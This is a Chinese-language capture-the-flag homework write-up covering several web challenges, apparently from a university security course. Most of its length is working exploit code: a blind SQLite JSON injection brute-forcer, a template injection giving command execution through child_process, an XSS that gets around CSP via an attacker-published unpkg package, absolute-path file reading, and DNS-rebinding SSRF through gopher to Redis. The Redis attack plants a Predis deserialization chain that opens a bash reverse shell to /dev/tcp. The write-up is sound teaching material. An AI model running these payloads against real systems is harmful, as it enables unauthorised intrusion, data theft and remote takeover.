# SWSEC HW4 Writeup ###### tags: `swsec` `writeup` <style> p:has(img) { text-align: center; } .markdown-body img { max-width: 75%; } </style> ## Double Injection - FLAG1 `app/app.js` ```javascript const { username, password } = req.body; const jsonPath = JSON.stringify(`$.${username}.password`); const query = `SELECT json_extract(users, ${jsonPath}) AS password FROM db`; ``` 查看原始碼可以看到 username 會塞進 `jsonPath` 後透過 `JSON.stringify` 來加上雙引號並用 `\` escape 裡面本來的雙引號 另外參考 [SQL Language Expressions](https://www.sqlite.org/lang_expr.html): > A single quote within the string can be encoded by putting two single quotes in a row - as in Pascal. C-style escapes using the backslash character are not supported because they are not standard SQL. 因此實際上用 `\` 是無法 escape 引號的 所以輸入中的 `"` 仍可將最一開頭 `JSON.stringify` 加上的雙引號閉合 當輸入 `username")/*` 時 `json_extract` 的 path 參數會變為 `$.username\` 即該返斜線會被視為 path 的一部分 查閱 [JSON Functions And Operators](https://www.sqlite.org/json1.html#jptr) 可看到使用 `->>` operator 也可達到與 `json_extract` 相同效果 從 users 指定 json path 為 `$.admin.password` 並用 `SUBSTR` 切出單字元 再命名為 `password` 回傳 即可透過密碼欄位一個一個字元爆破 flag `Double Injection - FLAG1/exp.py` ```python import concurrent.futures from typing import Dict from string import digits, ascii_letters, punctuation import requests as r HOST = "http://10.113.184.121:10081" CHARSET = digits + ascii_letters + punctuation def query(idx, c): data = { "username": f"""username"), SUBSTR(users ->> '$.admin.password', {idx}, 1) AS password FROM db /*""", "password": c } res = r.post(f"{HOST}/login", data=data) return "Success" in res.text flag = "" while True: with concurrent.futures.ThreadPoolExecutor() as executor: futures: Dict[concurrent.futures.Future, str] = dict() for c in CHARSET: futures[executor.submit(query, len(flag) + 1, c)] = c for future in concurrent.futures.as_completed(futures.keys()): res = future.result() if res: flag += futures[future] break else: # break while break # clean up for future in futures.keys(): future.cancel() print(flag) ``` FLAG: `FLAG{sqlite_js0n_inject!on}` ## Double Injection - FLAG2 可以看到 username 會直接被放入 `template` 最後在密碼與 FLAG1 相同時即會傳入 render 因此可以透過 username 來做 SSTI 以達到 RCE ```javascript const template = ` <html><head><title>Success</title></head><body> <h1>Success!</h1> <p>Logged in as ${username}</p> </body></html> ` db.get(query, (err, row) => { if (res.headersSent) return; if (err) return res.status(500).send('Internal Server Error' + err); if (row.password === password) { if (password !== FLAG1) { const html = ejs.render(`<h1>Success!</h1>`, { username }); return res.send(html); } else { const html = ejs.render(template, { username }); ``` ejs 使用 `<% %>` 作為 template tags 而使用 `<%= expression %>` 則可印出 expression 的值 另外 從 `global.process.mainModule` 底下可以拿到 `require` 來 require `child_process` 搞 RCE `Double Injection - FLAG2/exp.py` ```python import re import requests as r HOST = "http://10.113.184.121:10081" FLAG1 = "FLAG{sqlite_js0n_inject!on}" RCE = """<%= global.process.mainModule.require('child_process').execSync('{}') %>""" def rce(cmd): data = { "username": """username="), users ->> '$.admin.password' AS password FROM db /* {}""".format(RCE.format(cmd)), "password": FLAG1 } res = r.post(f"{HOST}/login", data=data) return res.text fn = re.findall("(flag2-\w+.txt)", rce("ls /"))[0] flag = re.findall("FLAG\{.+?\}", rce(f"cat /{fn}"))[0] print(flag) ``` ![image](https://hackmd.io/_uploads/SkK0FkkOT.png) FLAG: `FLAG{ezzzzz_sqli2ssti}` ## Note - FLAG1 `app/static/note.js` ```javascript const note = document.querySelector('#note'); note.innerHTML = ` <h1>${result.title}</h1> <p>${marked.parse(result.content)}</p> <hr/> <span style="color: #999"> By @${result.author}・🔒 Private・ <form action="/report" style="display: inline" method="post"> <input type="hidden" name="note_id" value="${noteId}"> <input type="hidden" name="author" value="${result.author}"> <input type="submit" value="Report"> </form> </span> `; ``` 可以看到筆記內容會在經過 `marked.parse()` 後設為某個 Element 的 innerHTML 因為 marked 會保留 inline HTML 所以可以用來 XSS 但透過 innerHTML 插入的 script tag 不會有作用 但是用 `iframe` 的 `srcdoc` 即可內嵌 HTML 且 script 也會有作用 另外網站有 CSP 如下 ``` default-src 'self'; style-src 'unsafe-inline'; script-src 'self' https://unpkg.com/ ``` 丟到 [CSP Evaluator](https://csp-evaluator.withgoogle.com/) 檢查 ![image](https://hackmd.io/_uploads/SkQkWxJuT.png) 因為 `script-src 'self'` 所以我們也沒辦法直接塞如 `<img src=x onerror=alert(1)>` 的 payload 因為需要 `unsafe-inline` 才能執行 另外看到有 `unpkg.com` 而其為 npm 的 CDN 因此可以任意上傳 package 到 npm 並透過 unpkg 取得該程式碼 因此只要上傳 XSS exploit 到 npm 即可 Note: ```html! <iframe srcdoc="<script src=https://unpkg.com/eductf-note-exp-pro@2.1.2/dist/exp.js></script>"></iframe> ``` iframe 因為有 CSP `iframe-src` 在管 而當沒設定時會 fallback 到 `default-src` (此處為 `self`) 因此無法透過 `location.href` 打 request 回自己 server 所以另外登入到自己的帳號發一篇新的 note `Note - FLAG1/exp.js` ```javascript= (async () => { let res = await fetch("/api/notes/all"); let data = await res.json(); let id = data[0]["id"]; res = await fetch("/api/notes?id="+id); data = await res.json(); let payload = btoa(data["content"]); res = await fetch("/login", { method: "POST", body: "username=&password=pass", headers: { "Content-Type": "application/x-www-form-urlencoded" } }); res = await fetch("/api/notes", { method: "POST", body: JSON.stringify({"title":"flag", "content": payload}), headers: { "Content-Type": "application/json" } }); data = await res.json(); })() ``` FLAG: `FLAG{byp4ss1ing_csp_and_xsssssssss}` ## Note - FLAG2 ```python @app.get("/api/notes") @login_required def api_get_note_content(): note_id = request.args.get("id") author = request.args.get("author") or session.get("username") if not note_id or ".." in note_id: return {"error": "Invalid note ID!"}, 400 if not author or not re.match(r"^[a-zA-Z0-9_]+$", author): return {"error": "Invalid author!"}, 400 user_dir = os.path.join(NOTES_DIR, author) if not os.path.exists(os.path.join(user_dir, note_id)): return {"error": "Note not found!"}, 404 with open(os.path.join(user_dir, note_id)) as f: note_author = f.readline().strip() title = f.readline().strip() content = f.read().strip() if session['username'] != 'admin' and note_author != session["username"]: return {"error": "You do not have permission to view this note!"}, 403 return {"author": note_author, "title": title, "content": content} ``` 在讀取 note 的 route 中 可以看到 `note_id` 沒有做過濾 另外看到這行 `os.path.join(user_dir, note_id)` 再翻閱 [Python os.path docs](https://docs.python.org/3/library/os.path.html#os.path.join) 會看到以下內容: > If a segment is an absolute path (which on Windows requires both a drive and a root), then all previous segments are ignored and joining continues from the absolute path segment. 因此只要 `note_id` 是絕對路徑 就可以任意讀檔 再看到 `app/Dockerfile` ```Dockerfile FROM python:alpine RUN pip3 install flask redis rq COPY . /app WORKDIR /app RUN adduser -D -u 1000 ctf RUN chown -R ctf:ctf /app RUN chmod -R 555 /app && chmod -R 744 /app/notes RUN mkdir -p /app/notes/admin && rm -rf /app/notes/admin/* RUN UUID=$(python -c 'import uuid; print(uuid.uuid4(), end="")') && \ echo -e "admin\nFLAG1\nFLAG{flag-1}" > "/app/notes/admin/$UUID" RUN chmod -R 555 /app/notes/admin RUN echo 'FLAG{flag-2}' > "/flag2-$(tr -dc 'a-zA-Z0-9' < /dev/urandom | head -c 16).txt" && \ chmod 444 /flag2-* USER ctf CMD [ "sh", "-c", "flask run --host=0.0.0.0 --port=5000" ] ``` Dockerfile 中有 flag 內容 又被 `COPY . /app` 複製到 container 中了 所以讀 `/app/Dockerfile` 就有 flag 因為是寫到自己帳號 而且帳號密碼在 script 裡 所以用 `bignumber.js` 做 RSA 加密 避免變成 free flag Note: ```html! <iframe srcdoc="<script src=https://unpkg.com/bignumber.js@9.1.2/bignumber.js></script><script src=https://unpkg.com/eductf-note-exp-pro@2.1.2/dist/lfi.js></script>"></iframe> ``` `Note - FLAG2/lfi.js` ```javascript (async () => { let id = "/app/Dockerfile" let res = await fetch("/api/notes?id="+id); let data = await res.json(); let content = data["content"]; const regex = /FLAG\{.+?\}/g; let payload = [...content.matchAll(regex)].map(item=>item[0]).join("|"); let p = new BigNumber(payload.split("").map(c=>c.charCodeAt(0).toString(16)).join(""), 16); let N = new BigNumber('...'); let e = new BigNumber(65537); let cipher = p.exponentiatedBy(e, N).toString(16); res = await fetch("/login", { method: "POST", body: "username=user&password=pass", headers: { "Content-Type": "application/x-www-form-urlencoded" } }); res = await fetch("/api/notes", { method: "POST", body: JSON.stringify({"title":"flag", "content": cipher}), headers: { "Content-Type": "application/json" } }); data = await res.json(); })() ``` ![solve](https://hackmd.io/_uploads/rkOdKek_p.png) FLAG: `FLAG{n0t_just_4n_xss}` ## Private Browsing Revenge 參考原題 推測本題也使用 curl 因此嘗試 `file://` 讀 source code ![image](https://hackmd.io/_uploads/rkbdTQkda.png) 發現會檢查 hostname 可用 `file://localhost/var/www/html/api.php` 讓 php 抓到 `localhost` 作為 hostname 繞過 取得 source code: `api.php` ```php <?php require_once __DIR__ . '/config.php'; function request($url, $method = 'GET', $data = null) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method); if ($data !== null) { curl_setopt($ch, CURLOPT_POSTFIELDS, $data); } curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); $response = curl_exec($ch); $error = curl_error($ch); curl_close($ch); if ($error) { return $error; } return $response; } if (!isset($_GET['action'])) { die(); } $action = $_GET['action']; if ($action === 'view' && isset($_GET['url'])) { header("Content-Security-Policy: script-src 'none'"); header("X-Content-Type-Options: nosniff"); $url = $_GET['url']; $_SESSION['history'][] = $url; $hostname = parse_url($url, PHP_URL_HOST); if (filter_var(gethostbyname($hostname), FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE) === false) { die('Error: Invalid IP or intranet ip in provided URL.<br>Reason:<code>(filter_var(gethostbyname($hostname), FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE) === false</code>'); } echo request($url); } else if ($action === 'get_history') { header('Content-Type: application/json'); echo json_encode($_SESSION['history']); } else if ($action === 'clear_history') { $_SESSION['history'] = []; echo '{"status": "ok"}'; } ``` 發現他會檢查 `$hostname` 不能是內網 IP `config.php` ```php <?php require_once __DIR__ . '/../vendor/autoload.php'; $redis = new Predis\Client('tcp://redis:6379'); $handler = new Predis\Session\Handler($redis); $handler->register(); session_start(); if (!isset($_SESSION['history'])) { $_SESSION['history'] = []; } ``` 另外知道內網有一個 redis 且透過 `predis` 來做連線 `composer.json` ```json { "require": { "predis/predis": "^2.2" } } ``` 檢查 `composer.json` 沒有其他 library `/proc/net/arp` ![image](https://hackmd.io/_uploads/rkzP14bd6.png) 推測 redis 應該是 `192.168.224.2` 有 curl 和 redis 可以用 `gopher://` 來操作 redis 但得繞過上面的 php IP 檢查 因為檢查跟實際 query 的時間是分開的 可以做 DNS Rebinding 用 [rbndr.us](https://lock.cmpxchg8b.com/rebinder.html) 即可建立如 `c0a8e002.7f000001.rbndr.us` 的 domain 其 resolve 結果會在 `127.0.0.1` 跟 `192.168.224.2` 隨機跳 多試幾次就會試到檢查時查到 `127.0.0.1` 而到 curl 時查到 `192.168.224.2` 由於其使用了 session 因此自帶 unserialize 的行為 接下來便是找 POP chain 由於題目本身根本沒提供 class 所以轉而到 predis 裡面找 先從 `call_user_func` 往上找起 `src/Connection/Factory.php` ```php=83 public function create($parameters) { if (!$parameters instanceof ParametersInterface) { $parameters = $this->createParameters($parameters); } $scheme = $parameters->scheme; if (!isset($this->schemes[$scheme])) { throw new InvalidArgumentException("Unknown connection scheme: '$scheme'."); } $initializer = $this->schemes[$scheme]; if (is_callable($initializer)) { $connection = call_user_func($initializer, $parameters, $this); ``` 只要控 `Predis\Connection\Factory` 中的 `$this->scheme` 讓 `$initializer` 為 `'system'` 再控制 `$this->createParameters` 後的 `$parameter.toString()` 為 reverse shell command 即可 `src/Connection/Parameters.php` ```php=179 public function __toString() { if ($this->scheme === 'unix') { return "$this->scheme:$this->path"; } if (filter_var($this->host, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)) { return "$this->scheme://[$this->host]:$this->port"; } return "$this->scheme://$this->host:$this->port"; } ``` 而 `Predis\Connection\Parameters` 的 `__toString` 定義如上 因此可以把 command 放在 `scheme` 最後再加上 `#` 把後面整段註解掉 這樣就不用管 `host` 跟 `port` 了 看回 `src/Connection/Factory.php` ```php=144 protected function createParameters($parameters) { if (is_string($parameters)) { $parameters = Parameters::parse($parameters); } else { $parameters = $parameters ?: []; } if ($this->defaults) { $parameters += $this->defaults; } return new Parameters($parameters); } ``` 為了繞開 `Parameters::parse` 這裡要控制呼叫 `Connection\Factory->create()` 時參數為 array 即可 剩下可用 `$this->defaults` 控制 --- 接著找呼叫 `create()` 的地方 `src/Connection/Cluster/RedisCluster.php` ```php=336 protected function createConnection($connectionID) { $separator = strrpos($connectionID, ':'); return $this->connections->create([ 'host' => substr($connectionID, 0, $separator), 'port' => substr($connectionID, $separator + 1), ]); } ``` 只要控制 `$this->connections` 為 `Predis\Connection\Factory` 的 instance 而且這裡的參數也非常剛好是 array 也不會蓋到 `scheme` 往上翻 reference 可以找到同 class 的 `getIterator` ```php=613 public function getIterator() { if ($this->slotmap->isEmpty()) { $this->useClusterSlots ? $this->askSlotMap() : $this->buildSlotMap(); } $connections = []; foreach ($this->slotmap->getNodes() as $node) { if (!$connection = $this->getConnectionById($node)) { $this->add($connection = $this->createConnection($node)); ``` 只要控制 `$this->slotMap` 不要是空的 且 `$node` 不存在於 `RedisCluster` 的 pool 中 即可觸發 `$this->createConnection` --- 要觸發 `IteratorAggregate->getIterator` 只要讓該 object 為 `foreach` 展開的對象即可 所以開始翻可控的 `foreach` `src/Connection/Cluser/PredisCluster.php` ```php=88 public function disconnect() { foreach ($this->pool as $connection) { $connection->disconnect(); ``` 這裡讓 `$this->pool` 控成 `RedisCluster` 的 instance 即可 --- 接下來找呼叫 `disconnect()` 的 gadget ![image](https://hackmd.io/_uploads/HkOt6SJ_p.png =30%x) `src/Response/Iterator/MultiBulk.php` ```php=41 public function __destruct() { $this->drop(true); } /** * Drop queued elements that have not been read from the connection either * by consuming the rest of the multibulk response or quickly by closing the * underlying connection. * * @param bool $disconnect Consume the iterator or drop the connection. */ public function drop($disconnect = false) { if ($disconnect) { if ($this->valid()) { $this->position = $this->size; $this->connection->disconnect(); ``` 篩選後只有 `Predis\Response\Iterator\MultiBulk` 有 `__destruct` 可以讓 pop chain 觸發又呼叫到 `disconnect` 把 `$this->connection` 控成 `PredisCluster` 的 instance 並讓 `$this->valid()` 回傳 true 即觸發後續 exploit 而其檢查很簡單: `src/Response/Iterator/MultiBulkIterator.php` ```php=78 public function valid() { return $this->position < $this->size; } ``` 直接控制 `$this->position` 與 `$this->size` 滿足條件即可 --- 最終造出 pop chain 如下: ```! 1. MultiBulk->__destruct() => MultiBulk->drop() => $this->connection->disconnect() 2. RedisCluster->getIterator() => $this->createConnection() => $this->connections->create() 3. Connection\Factory->create(<array>) => Factory->createParameters => new Parameter($this->defaults) => $initializer = $this->schemes[$this->defaults->scheme] => call_user_func($initializer, $parameters->__toString(), $this) ``` `Private Browsing Revenge/pop.php` ```php <?php namespace Predis\Connection { use Predis\Connection\Cluster\PredisCluster; class Factory { private $defaults = [ 'scheme' => 'bash -c "bash -i >& /dev/tcp/<ip>/40005 0>&1" #' ]; protected $schemes = [ 'bash -c "bash -i >& /dev/tcp/<ip>/40005 0>&1" #' => 'system' ]; } class Parameters { protected static $defaults = [ 'scheme' => 'tcp', 'host' => '192.168.224.2', 'port' => 6379 ]; protected $parameters; public function __construct(array $parameters = []) { $this->parameters = $parameters + static::$defaults; } } } namespace Predis\Connection\Cluster { use Predis\Cluster\SlotMap; use Predis\Connection\Factory; class RedisCluster { private $slotmap; private $connections; public function __construct() { $this->connections = new Factory(); $this->slotmap = new SlotMap([ "value" => "key" ]); // array_flip } } class PredisCluster { private $pool = []; public function __construct() { $this->pool = new RedisCluster(); } } } namespace Predis\Cluster { class SlotMap { private $slots = []; public function __construct($arr) { $this->slots = $arr; } } } namespace Predis\Response\Iterator { use Predis\Connection\Cluster\PredisCluster; class MultiBulk { private $connection; protected $position = 0; protected $size = 48763; public function __construct() { $this->connection = new PredisCluster(); } } } namespace { use Predis\Response\Iterator\MultiBulk; $obj = new MultiBulk(); session_start(); $_SESSION['history'] = $obj; echo session_encode(); } ``` --- 要打 gopher 前 先用 redis-py 裡面的 `PythonRespSerializer` 來把 redis command 包成 [RESP](https://redis.io/docs/reference/protocol-spec/) 格式 再用 `urllib.parse.quote_from_bytes` 把 payload urlencode 過 最後因為 curl 在某個版本後 ([commit](https://github.com/curl/curl/commit/31e53584db5879894809fbde5445aac7553ac3e2#diff-53720a33b2e6f5ad58191603f5fdeb5a92913cad34dbcc161555b6894cddd8de)) 當 path 裡面中有 NULL byte (`%00`) 就會噴 `URL using bad/illegal format or missing URL` 而 `protected` 與 `private` 兩種 member 在 serialize 時都會被加上 NULL byte 所以要另外繞過 可以寫一個 XOR Key 跟 XOR 過沒 NULL byte 的 serialization payload 到 redis 裡面 再利用 [BITOP](https://redis.io/commands/bitop/) 指令來將偽造的 session 還原回來 `Private Browsing Revenge/exp.py` ```python import time import random import secrets import subprocess from urllib.parse import quote_from_bytes import requests as r import redis.connection import redis._parsers from pwn import xor_key PHPSESSID = secrets.token_hex(16) REDIS = "7f000001.c0a8e002.rbndr.us:6379" # 192.168.224.2 SITE = "http://10.113.184.121:10083" E1 = "Couldn't connect to server" E2 = "Invalid IP or intranet ip in provided URL." print(PHPSESSID) s = r.Session() serializer = redis.connection.PythonRespSerializer( 6000, redis._parsers.Encoder("utf-8", "strict", False).encode ) chain_payload = subprocess.check_output("php -f pop.php", shell=True) key, chain_payload = xor_key(chain_payload, b"\x00", 1) redis_payload = serializer.pack("SET", PHPSESSID + "1", key * len(chain_payload)) + \ serializer.pack("SET", PHPSESSID + "2", chain_payload) + \ serializer.pack("BITOP", "XOR", PHPSESSID, PHPSESSID + "1", PHPSESSID + "2") + \ serializer.pack("DEL", PHPSESSID + "1", PHPSESSID + "2") + \ serializer.pack("GET", PHPSESSID) + serializer.pack("QUIT") redis_payload = b"".join(redis_payload) ssrf_payload = f"gopher://{REDIS}/_" + quote_from_bytes(redis_payload) print(ssrf_payload) while True: res = s.get(f"{SITE}/api.php", params={ "action": "view", "url": ssrf_payload }) if E1 not in res.text and E2 not in res.text: print(res.text) break time.sleep(random.randint(10, 100) / 1000) print(s.cookies['PHPSESSID']) res = r.get(f"{SITE}/config.php", cookies={ "PHPSESSID": PHPSESSID }) print(res.text) ``` FLAG: `FLAG{omg_a_looooong_pop_chain}`